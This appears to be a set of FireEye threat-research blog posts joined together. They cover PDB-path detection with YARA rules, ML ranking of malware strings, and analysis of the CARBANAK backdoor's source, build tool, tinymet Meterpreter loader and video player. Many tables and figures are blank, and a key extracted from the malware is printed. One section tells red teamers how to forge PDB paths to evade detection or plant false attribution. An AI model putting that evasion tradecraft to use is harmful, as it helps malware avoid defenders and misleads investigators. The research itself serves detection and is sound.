Finding Malware Source Code Using PDBs

Malware PDBs themselves are easier to find than one may think. Sure, sometimes the authors are kind enough to leave everything up on Github. But there are some other occasions too: sometimes malware source code will get inadvertently flagged by antivirus or endpoint detection and response (EDR) agents; sometimes malware source code will be left in open directories; and sometimes malware source code will get uploaded to the big malware repositories.

You can find malware source code by looking for things like Visual Studio solution files, or simply with Yara rules looking for PDB files in archives that have some non-zero detection rate or other metadata that raises the likelihood that some component in the archive is indeed malicious.

rule PDB_Header_V2
        description = "This looks for PDB files based on headers.
        //$string = "Microsoft C/C++ program database 2.00"
        $hex = {4D696372 6F736F66 7420432F 432B2B20 70726F67 72616D20 64617461 62617365 20322E30 300D0A}
        $hex at 0
rule PDB_Header_V7
        description = "This looks for PDB files based on headers.
        //$string = "Microsoft C/C++ MSF 7.00"
        $hex = {4D696372 6F736F66 7420432F 432B2B20 4D534620 372E3030}
        $hex at 0

PDB Paths for Offensive Teams

FireEye has confirmed individual attribution to bona fide threat actors and red teamers based in part on leaked PDB paths in malware samples. The broader analyst community often uses PDB paths for clustering and pivoting to related malware families and while building a case for attribution, tracking, or pursuit of malware developers. Naturally, red team and offensive operators should be aware of the artifacts that are left behind during the compilation process and abstain from compiling with symbol generation enabled – basically, remember to practice good OPSEC on your implants. That said, there is an opportunity for creating artificial PDB paths should one wish to intentionally introduce this artifact.

Making PDB Paths Appear More “Legitimate”

One notable differentiator between malware and non-malware is that malware is typically not developed in an “enterprise” or “commercial” software development setting. The difference here is that in large development settings, software engineers are working on big projects together through productivity tools, and the software is constantly updated and rebuilt through automated “continuous integration” (CI) or “continuous delivery” (CD) suites such as Jenkins and TeamCity.  This means that when PDB paths are present in legitimate enterprise software packages, they often have toolmarks showing their compile path on a CI/CD build server.

Here are some examples of PDB paths of legitimate software executables built in a CI/CD environment:

  • D:\Jenkins\workspace\QA_Build_5_19_ServerEx_win32\_buildoutput\ServerEx\Win32\Release\_symbols\keysvc.pdb
  • D:\bamboo-agent-home\xml-data\build-dir\MC-MCSQ1-JOB1\src\MobilePrint\obj\x86\Release\MobilePrint.pdb
  • C:\TeamCity\BuildAgent\work\714c88d7aeacd752\Build\Release\cs.pdb

We do not discount the fact that some malware developers are using CI/CD build environments. We know that some threat actors and malware authors are indeed adopting contemporary enterprise development processes, but malware PDBs like this example are extraordinarily rare:

  • c:\users\builder\bamboo~1\xml-data\build-~1\trm-pa~1\agent\window~1\rootkit\Output\i386\KScan.pdb
Specifying Custom PDB Paths in Visual Studio

Specifying a custom path for a PDB file is not uncommon in the development world. An offensive or red team operator may wish to specify a fake PDB path and can do so easily using compiler linking options.

As our example malware author “smiller” learns and hones their tradecraft, they may adopt a stealthier approach and choose to include one of those more “legitimate” looking PDB paths in new malware compilations.

Take smiller’s example malware project located at the path:


Figure 16: hellol.cpp code shown in Visual Studio with debug build information

This project compiled in Debug configuration by default places both the hellol.exe file and the hellol.pdb file under


Figure 17: hellol.exe and hellol.pdb, compiled by debug configuration default into its resident folder

It’s easy to change the properties of this project and manually specify the generation path of the PDB file. From the Visual Studio taskbar, select Project > Properties, then in the side pane select Linker > Debugging and fill the option box for “Generate Program Database File.” This option accepts Visual Studio macros so there is plenty of flexibility for scripting and creating custom build configurations for falsifying or randomizing PDB paths.

Figure 18: hellol project Properties showing defaults for the PDB path

Figure 19: hellol project Properties now showing a manually specified path for the (fake) PDB path

When we examine the raw ConsoleApplication1.exe, we can see at the byte level that the linker has included debug information in the executable specifying our designated PDB path, which of course is not real. Or if built at the command line, you could specify /PDBALTPATH which can create a PDB file name that is does not rely on the file structure of the build computer.

Figure 20: Rebuilt hellol.exe as seen through the PEview utility, which shows us the fake PDB path in the IMAGE_DEBUG_TYPE_CODEVIEW directory of the executable

An offensive or red team operator could intentionally include a PDB path in a piece of malware, making the executable appear to be compiled on a CI/CD server which could help the malware fly under the radar. Additionally, an operator could include a PDB path or strings associated with a known malware family or threat group to confound analysts. Why not throw in a small homage to one of your favorite malware operators or authors, such as the infamous APT33 persona xman_1365_x? Or perhaps throw in a “\Homework\CS1101\” to make the activity seem more academic? For whatever reason, if there is PDB manipulation to be done, it is generally doable with common software development tools.

The Glory and the Nothing of a (Malware) Name

In the context of PDB paths and malware author naming conventions, it is important to acknowledge the interdependent (and often circular) nature of “offense” and “defense.” Which came first, a defender calling a piece of malware a “trojan” or a malware author naming their code project a “trojan”? Some malware is inspired by prior work. An author names a code project “MIMIKATZ”, and years later there are hundreds of related projects and scripts with derivative names.

Although definitions may vary, we see that both the offensive and defensive sides characterize the functionality or role of a piece of malware using much of the same vernacular and inspiration. We suspect this began with “virus” and that the array of granular, descriptive terms will continue to grow as public discourse advances the malware taxonomy. Who would have suspected that how we talked about malware would ultimately lead to the possibility detecting it? After all, would a rootkit by any other name be as evil? Somewhere, a scholar is beaming with wonder at the intersection of malware and linguistics.


If by now you’re thinking this is all kind of silly, don’t worry, you’re in good company. PDB paths are indeed a wonky attribute of a file. The mere presence of these paths in an executable is by no means evil, yet when these paths are present in pieces of malware, they usually represent acts of operational indiscretion. The idea of detecting malware based on PDB paths is kind of like detecting a robber based on what type of hat a person is wearing, if they’re wearing one at all.

We have been historically successful in using PDB paths mostly as an analytical pivot, to help us cluster malware families and track malware developers. When we began to study PDB paths holistically, we noticed that many malware authors were using many of the same naming conventions for their folders and project files. They were naming their malware projects after the functionality of the malware itself, and they routinely label their projects with unique, descriptive language.

We found that many malware authors and operators leaked PDB paths that described the functionality of the malware itself and gave us insight into the development environment. Furthermore, outside of the descriptors of the malware development files and environment, when PDB files are present, we identified anomalies that help us identify files that are more likely to be circumstantially interesting. There is room for red team and offensive operators to improve their tradecraft by falsifying PDB paths for purposes of stealth or razzle-dazzle.

We remain optimistic that we can squeeze some juice from PDB paths when they are present. A survey of about 2200 named malware families (including all samples from 41 APT and 10 FIN groups and a couple million other uncategorized executables) shows that PDB paths are present in malware about five percent of the time. Imagine if you could have a detection “backup plan” for five plus percent of malware, using a feature that is itself inherently non-malicious. That’s kind of cool, right?

Future Work on Scaling PDB Path Classification

Our ConventionEngine rule pack for PDB path keyword, term and anomaly detection has been fun and found tons of malware that would have otherwise been missed. But there are a lot of PDB paths in malware that do not have such obvious keywords, and so our manual, cherry-picking, and extraordinarily laborious approach doesn’t scale.

Stay tuned for the next part of our blog series! In Part Deux, we explore scalable solutions for PDB path feature generalization and approaches for classification. We believe that data science approaches will better enable us to surface PDB paths with unique and interesting values and move towards a classification solution without any rules whatsoever.

Recommended Reading and Resources

Inspiring Research
Debugging and Symbols
Debug Directory and CodeView
Debugging and Visual Studio
PDB File Structure
PDB File Tools
ConventionEngine Rules

Announcing the Sixth Annual Flare-On Challenge

The FireEye Labs Advanced Reverse Engineering (FLARE) team is thrilled to announce that the popular Flare-On reverse engineering challenge will return for the sixth straight year. The contest will begin at 8:00 p.m. ET on Aug. 16, 2019. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Sept. 27, 2019.

This year’s contest will feature a total of 12 challenges covering a variety of architectures from x86 on Windows, .NET, Linux, and Android. Also, for the first time in Flare-On history, the contest will feature a NES ROM challenge. This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.

If you are skilled and dedicated enough to complete the Sixth Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. Previous prizes included belt buckles, a replica police badge, a challenge coin, and a huge pin.

Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon6

Learning to Rank Strings Output for Speedier Malware Analysis

Reverse engineers, forensic investigators, and incident responders have an arsenal of tools at their disposal to dissect malicious software binaries. When performing malware analysis, they successively apply these tools in order to gradually gather clues about a binary’s function, design detection methods, and ascertain how to contain its damage. One of the most useful initial steps is to inspect its printable characters via the Strings program. A binary will often contain strings if it performs operations like printing an error message, connecting to a URL, creating a registry key, or copying a file to a specific location – each of which provide crucial hints that can help drive future analysis.

Manually filtering out these relevant strings can be time consuming and error prone, especially considering that:

  • Relevant strings occur disproportionately less often than irrelevant strings.
  • Larger binaries can output upwards of tens of thousands of individual strings.
  • The definition of "relevant” can vary significantly across individual human analysts.

Investigators would never want to miss an important clue that could have reduced their time spent performing the malware analysis, or even worse, led them to draw incomplete or incorrect conclusions. In this blog post, we will demonstrate how the FireEye Data Science (FDS) and FireEye Labs Reverse Engineering (FLARE) teams recently collaborated to streamline this analyst pain point using machine learning.


  • Running the Strings program on a piece of malware inevitably produces noisy strings mixed in with important ones, which can only be uncovered after sifting and scrolling through the entirety of its messy output. FireEye’s new machine learning model that automatically ranks strings based on their relevance for malware analysis speeds up this process at scale.
  • Knowing which individual strings are relevant often requires highly experienced analysts. Quality, security-relevant labeled training data can be time consuming and expensive to obtain, but weak supervision that leverages the domain expertise of reverse engineers helps accelerate this bottleneck.
  • Our proposed learning-to-rank model can efficiently prioritize Strings outputs from individual malware samples. On a dataset of relevant strings from over 7 years of malware reports authored by FireEye reverse engineers, it also performs well based on criteria commonly used to evaluate recommendation and search engines.


Each string returned by the Strings program is represented by sequences of 3 characters or more ending with a null terminator, independent of any surrounding context and file formatting. These loose criteria mean that Strings may identify sequences of characters as strings when they are not human-interpretable. For example, if consecutive bytes 0x31, 0x33, 0x33, 0x37, 0x00 appear within a binary, Strings will interpret this as “1337.” However, those ASCII characters may not actually represent that string per se; they could instead represent a memory address, CPU instructions, or even data utilized by the program. Strings leaves it up to the analyst to filter out such irrelevant strings that appear within its output. For instance, only a handful of the strings listed in Figure 1 that originate from an example malicious binary are relevant from a malware analyst’s point of view.

Figure 1: An example Strings output containing 44 strings for a toy sample with a SHA-256 value of eb84360ca4e33b8bb60df47ab5ce962501ef3420bc7aab90655fd507d2ffcedd.

Ranking strings in terms of descending relevance would make an analyst’s life much easier. They would then only need to focus their attention on the most relevant strings located towards the top of the list, and simply disregard everything below. However, solving the task of automatically ranking strings is not trivial. The space of relevant strings is unstructured and vast, and devising finely tuned rules to robustly account for all the possible variations among them would be a tall order.

Learning to Rank Strings Output

This task can instead be formulated in a machine learning (ML) framework called learning to rank (LTR), which has been historically applied to problems like information retrieval, machine translation, web search, and collaborative filtering. One way to tackle LTR problems is by using Gradient Boosted Decision Trees (GBDTs). GBDTs successively learn individual decision trees that reduce the loss using a gradient descent procedure, and ultimately use a weighted sum of every trees’ prediction as an ensemble. GBDTs with an LTR objective function can learn class probabilities to compute each string’s expected relevance, which can then be used to rank a given Strings output. We provide a high-level overview of how this works in Figure 2.

In the initial train() step of Figure 2, over 25 thousand binaries are run through the Strings program to generate training data consisting of over 18 million total strings. Each training sample then corresponds to the concatenated list of ASCII and Unicode strings output by the Strings program on that input file. To train the model, these raw strings are transformed into numerical vectors containing natural language processing features like Shannon entropy and character co-occurrence frequencies, together with domain-specific signals like the presence of indicators of compromise (e.g. file paths, IP addresses, URLs, etc.), format strings, imports, and other relevant landmarks.

Figure 2: The ML-based LTR framework ranks strings based on their relevance for malware analysis. This figure illustrates different steps of the machine learning modeling process: the initial train() step is denoted by solid arrows and boxes, and the subsequent predict() and sort() steps are denoted by dotted arrows and boxes.

Each transformed string’s feature vector is associated with a non-negative integer label that represents their relevance for malware analysis. Labels range from 0 to 7, with higher numbers indicating increased relevance. To generate these labels, we leverage the subject matter knowledge of FLARE analysts to apply heuristics and impose high-level constraints on the resulting label distributions. While this weak supervision approach may generate noise and spurious errors compared to an ideal case where every string is manually labeled, it also provides an inexpensive and model-agnostic way to integrate domain expertise directly into our GBDT model.

Next during the predict() step of Figure 2, we use the trained GBDT model to predict ranks for the strings belonging to an input file that was not originally part of the training data, and in this example query we use the Strings output shown in Figure 1. The model predicts ranks for each string in the query as floating-point numbers that represent expected relevance scores, and in the final sort() step of Figure 2, strings are sorted in descending order by these scores. Figure 3 illustrates how this resulting prediction achieves the desired goal of ranking strings according to their relevance for malware analysis.

Figure 3: The resulting ranking on the strings depicted in both Figure 1 and in the truncated query of Figure 2. Contrast the relative ordering of the strings shown here to those otherwise identical lists.

The predicted and sorted string rankings in Figure 3 show network-based indicators on top of the list, followed by registry paths and entries. These reveal the potential C2 server and malicious behavior on the host. The subsequent output consisting of user-related information is more likely to be benign, but still worthy of investigation. Rounding out the list are common strings like Windows API functions and PE artifacts that tend to raise no red flags for the malware analyst.

Quantitative Evaluation

While it seems like the model qualitatively ranks the above strings as expected, we would like some quantitative way to assess the model’s performance more holistically. What evaluation criteria can we use to convince ourselves that the model generalizes beyond the coverage of our weak supervision sources, and to compare models that are trained with different parameters?

We turn to the recommender systems literature, which uses the Normalized Discounted Cumulative Gain (NDCG) score to evaluate ranking of items (i.e. individual strings) in a collection (i.e. a Strings output). NDCG sounds complicated, but let’s boil it down one letter at a time:

  • “G” is for gain, which corresponds to the magnitude of each string’s relevance.
  • “C” is for cumulative, which refers to the cumulative gain or summed total of every string’s relevance.
  • “D” is for discounted, which divides each string’s predicted relevance by a monotonically increasing function like the logarithm of its ranked position, reflecting the goal of having the most relevant strings ranked towards the top of our predictions.
  • “N” is for normalized, which means dividing DCG scores by ideal DCG scores calculated for a ground truth holdout dataset, which we obtain from FLARE-identified relevant strings contained within historical malware reports. Normalization makes it possible to compare scores across samples since the number of strings within different Strings outputs can vary widely.

Figure 4: Kernel Density Estimate of NDCG@100 scores for Strings outputs from the holdout dataset. Scores are calculated for the original ordering after simply running the Strings program on each binary (gray) versus the predicted ordering from the trained GBDT model (red).

In practice, we take the first k strings indexed by their ranks within a single Strings output, where the k parameter is chosen based on how many strings a malware analyst will attend to or deem relevant on average. For our purposes we set k = 100 based on the approximate average number of relevant strings per Strings output. NDCG@k scores are bounded between 0 and 1, with scores closer to 1 indicating better prediction quality in which more relevant strings surface towards the top. This measurement allows us to evaluate the predictions from a given model versus those generated by other models and ranked with different algorithms.

To quantitatively assess model performance, we run the strings from each sample that have ground truth FLARE reports though the predict() step of Figure 2, and compare their predicted ranks with a baseline of the original ranking of strings output by Strings. The divergence in distributions of NDCG@100 scores between these two approaches demonstrates that the trained GBDT model learns a useful structure that generalizes well to the independent holdout set (Figure 4).


In this blog post, we introduced an ML model that learns to rank strings based on their relevance for malware analysis. Our results illustrate that it can rank Strings output based both on qualitative inspection (Figure 3) and quantitative evaluation of NDCG@k (Figure 4). Since Strings is so commonly applied during malware analysis at FireEye and elsewhere, this model could significantly reduce the overall time required to investigate suspected malicious binaries at scale. We plan on continuing to improve its NDCG@k scores by training it with more high fidelity labeled data, incorporating more sophisticated modeling and featurization techniques, and soliciting further analyst feedback from field testing.

It’s well known that malware authors go through great lengths to conceal useful strings from analysts, and a potential blind spot to consider for this model is that the utility of Strings itself can be thwarted by obfuscation. However, open source tools like the FireEye Labs Obfuscated Strings Solver (FLOSS) can be used as an in-line replacement for Strings. FLOSS automatically extracts printable strings just as Strings does, but additionally reveals obfuscated strings that have been encoded, packed, or manually constructed on the stack. The model can be readily trained on FLOSS outputs to rank even obfuscated strings. Furthermore, since it can be applied to arbitrary lists of strings, the model could also be used to rank strings extracted from live memory dumps and sandbox runs.

This work represents a collaboration between the FDS and FLARE teams, which together build predictive models to help find evil and improve outcomes for FireEye’s customers and products. If you are interested in this mission, please consider joining the team by applying to one of our job openings.

CARBANAK Week Part Four: The CARBANAK Desktop Video Player

Part One, Part Two and Part Three of CARBANAK Week are behind us. In this final blog post, we dive into one of the more interesting tools that is part of the CARBANAK toolset. The CARBANAK authors wrote their own video player and we happened to come across an interesting video capture from CARBANAK of a network operator preparing for an offensive engagement. Can we replay it?

About the Video Player

The CARBANAK backdoor is capable of recording video of the victim’s desktop. Attackers reportedly viewed recorded desktop videos to gain an understanding of the operational workflow of employees working at targeted banks, allowing them to successfully insert fraudulent transactions that remained undetected by the banks’ verification processes. As mentioned in a previous blog post announcing the arrest of several FIN7 members, the video data file format and the player used to view the videos appeared to be custom written. The video player, shown in Figure 1, and the C2 server for the bots were designed to work together as a pair.

Figure 1: CARBANAK desktop video player

The C2 server wraps video stream data received from a CARBANAK bot in a custom video file format that the video player understands, and writes these video files to a location on disk based on a convention assumed by the video player. The StreamVideo constructor shown in Figure 2 creates a new video file that will be populated with the video capture data received from a CARBANAK bot, prepending a header that includes the signature TAG, timestamp data, and the IP address of the infected host. This code is part of the C2 server project.

Figure 2: carbanak\server\Server\Stream.cs – Code snippet from the C2 server that serializes video data to file

Figure 3 shows the LoadVideo function that is part of the video player project. It validates the file type by looking for the TAG signature, then reads the timestamp values and IP address just as they were written by the C2 server code in Figure 2.

Figure 3: carbanak\server\Player\Video.cs – Player code that loads a video file created by the C2 server

Video files have the extension .frm as shown in Figure 4 and Figure 5. The C2 server’s CreateStreamVideo function shown in Figure 4 formats a file path following a convention defined in the MakeStreamFileName function, and then calls the StreamVideo constructor from Figure 2.

Figure 4: carbanak\server\Server\RecordFromBot.cs – Function in the C2 server that formats a video file name and adds the extension "frm"

The video player code snippet shown in Figure 5 follows video file path convention, searching all video file directories for files with the extension .frm that have begin and end timestamps that fall within the range of the DateTime variable dt.

Figure 5: carbanak\server\Player\Video.cs – Snippet from Player code that searches for video files with "frm" extension

An Interesting Video

We came across several video files, but only some were compatible with this video player. After some analysis, it was discovered that there are at least two different versions of the video file format, one with compressed video data and the other is raw. After some slight adjustments to the video processing code, both formats are now supported and we can play all videos.

Figure 6 shows an image from one of these videos in which the person being watched appears to be testing post-exploitation commands and ensuring they remain undetected by certain security monitoring tools.

Figure 6: Screenshot of video playback captured by CARBANAK video capability

The list of commands in the figure centers around persistence, screenshot creation, and launching various payloads. Red teamers often maintain such generic notes and command snippets for accomplishing various tasks like persisting, escalating, laterally moving, etc. An extreme example of this is Ben Clark’s book RTFM. In advance of an operation, it is customary to tailor the file names, registry value names, directories, and other parameters to afford better cover and prevent blue teams from drawing inferences based on methodology. Furthermore, Windows behavior sometimes yields surprises, such as value length limitations, unexpected interactions between payloads and specific persistence mechanisms, and so on. It is in the interest of the attacker to perform a dry run and ensure that unanticipated issues do not jeopardize the access that was gained.

The person being monitored via CARBANAK in this video appears to be a network operator preparing for attack. This could either be because the operator was testing CARBANAK, or because they were being monitored. The CARBANAK builder and other interfaces are never shown, and the operator is seen preparing several publicly available tools and tactics. While purely speculation, it is possible that this was an employee of the front company Combi Security which we now know was operated by FIN7 to recruit potentially unwitting operators. Furthermore, it could be the case that FIN7 used CARBANAK’s tinymet command to spawn Meterpreter instances and give unwitting operators access to targets using publicly available tools under the false premise of a penetration test.


This final installment concludes our four-part series, lovingly dubbed CARBANAK Week. To recap, we have shared at length many details concerning our experience as reverse engineers who, after spending dozens of hours reverse engineering a large, complex family of malware, happened upon the source code and toolset for the malware. This is something that rarely ever happens!

We hope this week’s lengthy addendum to FireEye’s continued CARBANAK research has been interesting and helpful to the broader security community in examining the functionalities of the framework and some of the design considerations that went into its development.

So far we have received lots of positive feedback about our discovery of the source code and our recent exposé of the CARBANAK ecosystem. It is worth highlighting that much of what we discussed in CARBANAK Week was originally covered in our FireEye’s Cyber Defense Summit 2018 presentation titled “Hello, Carbanak!”, which is freely available to watch online (a must-see for malware and lederhosen enthusiasts alike). You can expect similar topics and an electrifying array of other malware analysis, incident response, forensic investigation and threat intelligence discussions at FireEye’s upcoming Cyber Defense Summit 2019, held Oct. 7 to Oct. 10, 2019, in Washington, D.C.

CARBANAK Week Part Three: Behind the CARBANAK Backdoor

We covered a lot of ground in Part One and Part Two of our CARBANAK Week blog series. Now let's take a look back at some of our previous analysis and see how it holds up.

In June 2017, we published a blog post sharing novel information about the CARBANAK backdoor, including technical details, intel analysis, and some interesting deductions about its operations we formed from the results of automating analysis of hundreds of CARBANAK samples. Some of these deductions were claims about the toolset and build practices for CARBANAK. Now that we have a snapshot of the source code and toolset, we also have a unique opportunity to revisit these deductions and shine a new light on them.

Was There a Build Tool?

Let’s first take a look at our deduction about a build tool for CARBANAK:

“A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build.”

We came to this deduction from the following evidence:

“Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool.”

Figure 1 shows three keys used to decode the strings in CARBANAK, each pulled from a different CARBANAK sample.

Figure 1: Decryption keys for strings in CARBANAK are unique for each build

It turns out we were spot-on with this deduction. A build tool was discovered in the CARBANAK source dump, pictured with English translations in Figure 2.

Figure 2: CARBANAK build tool

With this build tool, you specify a set of configuration options along with a template CARBANAK binary, and it bakes the configuration data into the binary to produce the final build for distribution. The Prefix text field allows the operator to specify a campaign code. The Admin host text fields are for specifying C2 addresses, and the Admin password text field is the secret used to derive the RC2 key for encrypting communication over CARBANAK’s pseudo-HTTP protocol. This covers part of our deduction: we now know for a fact that a build tool exists and is used to configure the campaign code and RC2 key for the build, amongst other items. But what about the encoded strings? Since this would be something that happens seamlessly behind the scenes, it makes sense that no evidence of it would be found in the GUI of the build tool. To learn more, we had to go to the source code for both the backdoor and the build tool.

Figure 3 shows a preprocessor identifier named ON_CODE_STRING defined in the CARBANAK backdoor source code that when enabled, defines macros that wrap all strings the programmer wishes to encode in the binary. These functions sandwich the strings to be encoded with the strings “BS” and “ES”. Figure 4 shows a small snippet of code from the header file of the build tool source code defining BEG_ENCODE_STRING as “BS” and END_ENCODE_STRING as “ES”. The build tool searches the template binary for these “BS” and “ES” markers, extracts the strings between them, encodes them with a randomly generated key, and replaces the strings in the binary with the encoded strings. We came across an executable named bot.dll that happened to be one of the template binaries to be used by the build tool. Running strings on this binary revealed that most meaningful strings that were specific to the workings of the CARBANAK backdoor were, in fact, sandwiched between “BS” and “ES”, as shown in Figure 5.

Figure 3: ON_CODE_STRING parameter enables easy string wrapper macros to prepare strings for encoding by build tool

Figure 4: builder.h macros for encoded string markers

Figure 5: Encoded string markers in template CARBANAK binary

Operators’ Access To Source Code

Let’s look at two more related deductions from our blog post:

“Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).”

“Some of the operators may be compiling their own builds of the backdoor independently.”

The first deduction was based on the following evidence:

“Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.”

To investigate further, we performed a diff of two CARBANAK samples with very close compile times to see what, if anything, was changed in the code. Figure 6 shows one such difference.

Figure 6: Minor differences between two closely compiled CARBANAK samples

The POSLogMonitorThread function is only executed in Sample A, while the blizkoThread function is only executed in Sample B (Blizko is a Russian funds transfer service, similar to PayPal). The POSLogMonitorThread function monitors for changes made to log files for specific point of sale software and sends parsed data to the C2 server. The blizkoThread function determines whether the user of the computer is a Blizko customer by searching for specific values in the registry. With knowledge of these slight differences, we searched the source code and discovered once again that preprocessor parameters were put to use. Figure 7 shows how this function will change depending on which of three compile-time parameters are enabled.

Figure 7: Preprocessor parameters determine which functionality will be included in a template binary

This is not definitive proof that operators had access to the source code, but it certainly makes it much more plausible. The operators would not need to have any programming knowledge in order to fine tune their builds to meet their needs for specific targets, just simple guidance on how to add and remove preprocessor parameters in Visual Studio.

Evidence for the second deduction was found by looking at the binary C2 protocol implementation and how it has evolved over time. From our previous blog post:

“This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult.”

Five versions of the binary C2 protocol were discovered amongst our sample set, as shown in Figure 8. This figure shows the first noted compile time that each protocol version was found amongst our sample set. Each new version improved the security and complexity of the protocol.

Figure 8: Binary C2 protocol evolution shown through binary compilation times

If the CARBANAK project was centrally located and only the template binaries were delivered to the operators, it would be expected that sample compile times should fall in line with the evolution of the binary protocol. Except for one sample that implements what we call “version 3” of the protocol, this is how our timeline looks. A probable explanation for the date not lining up for version 3 is that our sample set was not wide enough to include the first sample of this version. This is not the only case we found of an outdated protocol being implemented in a sample; Figure 9 shows another example of this.

Figure 9: CARBANAK sample using outdated version of binary protocol

In this example, a CARBANAK sample found in the wild was using protocol version 4 when a newer version had already been available for at least two months. This would not be likely to occur if the source code were kept in a single, central location. The rapid-fire fine tuning of template binaries using preprocessor parameters, combined with several samples of CARBANAK in the wild implementing outdated versions of the protocol indicate that the CARBANAK project is distributed to operators and not kept centrally.

Names of Previously Unidentified Commands

The source code revealed the names of commands whose names were previously unidentified. In fact, it also revealed commands that were altogether absent from the samples we previously blogged about because the functionality was disabled. Table 1 shows the commands whose names were newly discovered in the CARBANAK source code, along with a summary of our analysis from the blog post.


Prior FireEye Analysis









Add/update klgconfig



Upload files to the C2 server



Download and execute shellcode


Table 1: Command hashes previously not identified by name, along with description from prior FireEye analysis

The msgbox command was commented out altogether in the CARBANAK source code, and is strictly for debugging, so it never appeared in public analyses. Likewise, the ifobs command did not appear in the samples we analyzed and publicly documented, but likely for a different reason. The source code in Figure 10 shows the table of commands that CARBANAK understands, and the ifobs command (0x6FD593) is surrounded by an #ifdef, preventing the ifobs code from being compiled into the backdoor unless the ON_IFOBS preprocessor parameter is enabled.

Figure 10: Table of commands from CARBANAK tasking code

One of the more interesting commands, however, is tinymet, because it illustrates how source code can be both helpful and misleading.

The tinymet Command and Associated Payload

At the time of our initial CARBANAK analysis, we indicated that command 0xB0603B4 (whose name was unknown at the time) could execute shellcode. The source code reveals that the command (whose actual name is tinymet) was intended to execute a very specific piece of shellcode. Figure 12 shows an abbreviated listing of the code for handling the tinymet command, with line numbers in yellow and selected lines hidden (in gray) to show the code in a more compact format.

Figure 11: Abbreviated tinymet code listing

The comment starting on line 1672 indicates:

tinymet command
Command format: tinymet {ip:port | plugin_name} [plugin_name]
Retrieve meterpreter from specified address and launch in memory

On line 1710, the tinymet command handler uses the single-byte XOR key 0x50 to decode the shellcode. Of note, on line 1734 the command handler allocates five extra bytes and line 1739 hard-codes a five-byte mov instruction into that space. It populates the 32-bit immediate operand of the mov instruction with the socket handle number for the server connection that it retrieved the shellcode from. The implied destination operand for this mov instruction is the edi register.

Our analysis of the tinymet command ended here, until the binary file named met.plug was discovered. The hex dump in Figure 12 shows the end of this file.

Figure 12: Hex dump of met.plug

The end of the file is misaligned by five missing bytes, corresponding to the dynamically assembled mov edi preamble in the tasking source code. However, the single-byte XOR key 0x50 that was found in the source code did not succeed in decoding this file. After some confusion and further analysis, it was realized that the first 27 bytes of this file are a shellcode decoder that looked very similar to call4_dword_xor. Figure 13 shows the shellcode decoder and the beginning of the encoded metsrv.dll. The XOR key the shellcode uses is 0xEF47A2D0 which fits with how the five-byte mov edi instruction, decoder, and adjacent metsrv.dll will be laid out in memory.

Figure 13: Shellcode decoder

Decoding yielded a copy of metsrv.dll starting at offset 0x1b. When shellcode execution exits the decoder loop, it executes Metasploit’s executable DOS header.

Ironically, possessing source code biased our binary analysis in the wrong direction, suggesting a single-byte XOR key when really there was a 27-byte decoder preamble using a four-byte XOR key. Furthermore, the name of the command being tinymet suggested that the TinyMet Meterpreter stager was involved. This may have been the case at one point, but the source code comments and binary files suggest that the developers and operators have moved on to simply downloading Meterpreter directly without changing the name of the command.


Having access to the source code and toolset for CARBANAK provided us with a unique opportunity to revisit our previous analysis. We were able to fill in some missing analysis and context, validate our deductions in some cases, and provide further evidence in other cases, strengthening our confidence in them but not completely proving them true. This exercise proves that even without access to the source code, with a large enough sample set and enough analysis, accurate deductions can be reached that go beyond the source code. It also illustrates, such as in the case of the tinymet command, that sometimes, without the proper context, you simply cannot see the full and clear purpose of a given piece of code. But some source code is also inconsistent with the accompanying binaries. If Bruce Lee had been a malware analyst, he might have said that source code is like a finger pointing away to the moon; don’t concentrate on the finger, or you will miss all that binary ground truth. Source code can provide immensely rich context, but analysts must be cautious not to misapply that context to binary or forensic artifacts.

In the next and final blog post, we share details on an interesting tool that is part of the CARBANAK kit: a video player designed to play back desktop recordings captured by the backdoor.

CARBANAK Week Part Two: Continuing the CARBANAK Source Code Analysis

FireEye has observed the certificate most recently being served on the following IPs (Table 4):



Last Seen













Table 4: Recent Test Company certificate use

While these IPs have not been observed in any CARBANAK activity, this may be an indication of a common developer or a shared toolkit used for testing various malware. Several of these IPs have been observed hosting Cobalt Strike BEACON payloads and METERPRETER listeners. Virtual Private Server (VPS) IPs may change hands frequently and additional malicious activity hosted on these IPs, even in close time proximity, may not be associated with the same users.

I also parsed an unprotected private key from the source code dump. Figure 4 and Table 5 show the private key parameters at a glance and in detail, respectively.

Figure 4: Parsed 512-bit private key








0xA400 (CALG_RSA_KEYX) – RSA public key exchange algorithm








0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED

20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C

EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8

57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB


8B 01 8F 7D 1D A2 34 AE CA B6 22 EE 41 4A B9 2C

E0 05 FA D0 35 B2 BF 9C E6 7C 6E 65 AC AE 17 EA


81 69 AB 3D D7 01 55 7A F8 EE 3C A2 78 A5 1E B1

9A 3B 83 EC 2F F1 F7 13 D8 1A B3 DE DF 24 A1 DE


B5 C7 AE 0F 46 E9 02 FB 4E A2 A5 36 7F 2E ED A4

9E 2B 0E 57 F3 DB 11 66 13 5E 01 94 13 34 10 CB


81 AC 0D 20 14 E9 5C BF 4B 08 54 D3 74 C4 57 EA

